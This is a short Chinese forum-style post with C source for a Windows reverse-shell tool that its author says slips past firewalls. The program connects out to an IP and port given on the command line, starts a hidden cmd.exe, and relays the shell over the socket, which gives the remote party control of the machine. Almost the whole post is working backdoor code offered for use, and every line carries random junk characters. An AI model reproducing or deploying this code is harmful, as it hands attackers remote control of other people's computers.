这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Lz`E;k^
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/* ============================== MuYk};f
Rebound port in Windows NT Gy9$wH@8
By wind,2006/7 X\`_3=
===============================*/ > A Khf
#include X>1,!I9
#include .R)D3NZp
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#pragma comment(lib,"wsock32.lib") !S^AgZ~
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void OutputShell(); v/Py"hQ
SOCKET sClient; AJf4_+He
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Hc!
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void main(int argc,char **argv) dU6ou'pf
{ aH 4c02s$
WSADATA stWsaData; WB?jRYp
int nRet; n)L*
SOCKADDR_IN stSaiClient,stSaiServer; G^~k)6v=m
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if(argc != 3) t#Z-mv:(
{ r;/4F/6"
printf("Useage:\n\rRebound DestIP DestPort\n"); vX{J' H]u
return; M2HomO/X)
} !g?|9
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WSAStartup(MAKEWORD(2,2),&stWsaData); f* !j[U/r_
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); KX!T8+Y
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stSaiClient.sin_family = AF_INET; @E^~$-J5j
stSaiClient.sin_port = htons(0); Qt iDTr
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); fdxLAC
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) e>7]w,*|
{ Usr@uI#{J
printf("Bind Socket Failed!\n"); }E+!91't.^
return; /mXBvY
} 1LqoF{S:
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stSaiServer.sin_family = AF_INET; m#8m] Y
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ?Eg(Gu.J
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 0Oi,#]F
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) N8!cO[3Oh
{ 3 j!3E
printf("Connect Error!"); p`mS[bxv!
return; &K[_J
} Jpj}@,
OutputShell(); @En^wN
} sJ#4(r`
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void OutputShell() TK5K_V*7
{ \[BK1JP
char szBuff[1024]; 4FEk5D
SECURITY_ATTRIBUTES stSecurityAttributes; *Nw&_<\9Q
OSVERSIONINFO stOsversionInfo; F|F]970
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 0n@rLF
STARTUPINFO stStartupInfo; 3Dg,GaRk
char *szShell; So{x]x:f
PROCESS_INFORMATION stProcessInformation; m*ISa(#(,
unsigned long lBytesRead; 'HT7_$?*
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ~oI1zNz/
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); A&s:\3*Kh
stSecurityAttributes.lpSecurityDescriptor = 0; 4S,`bnmB
stSecurityAttributes.bInheritHandle = TRUE; cYFiJJLG]
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); I{
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CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Ol1e/Wv
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 4?0vso*X<:
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; kz{/(t
stStartupInfo.wShowWindow = SW_HIDE; 0*%Z's\M"
stStartupInfo.hStdInput = hReadPipe; zEs>b(5u
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe;
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GetVersionEx(&stOsversionInfo); NXwz$}}Pp
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switch(stOsversionInfo.dwPlatformId) +cIUGFp}
{ bx<RV7>0
case 1: ="x\`+U
szShell = "command.com"; JmPHAUd
break; RMX:9aQ3F
default: VGtC)mG8)
szShell = "cmd.exe"; #~SP)Ukp
break; j2Tr$gx<
} Ge,;8N88
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); QF{4/y^j{
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send(sClient,szMsg,77,0); [`p=(/I&L
while(1) I([!]z
{ Z^V6K3GSz-
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); gT$Ju88
if(lBytesRead) f:ZAG4B
{ #Xhdn\7
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); hy}8Aji&
send(sClient,szBuff,lBytesRead,0); K#*reJ}K
} .gG1kW A-
else uvtF_P/
{ ) _mr! z(S
lBytesRead=recv(sClient,szBuff,1024,0); %FXfqF9
if(lBytesRead<=0) break; T_sTC)&a
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); /V8}eZ97
} an4GSL
} F_Y7@Ei/
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return; HFwN
}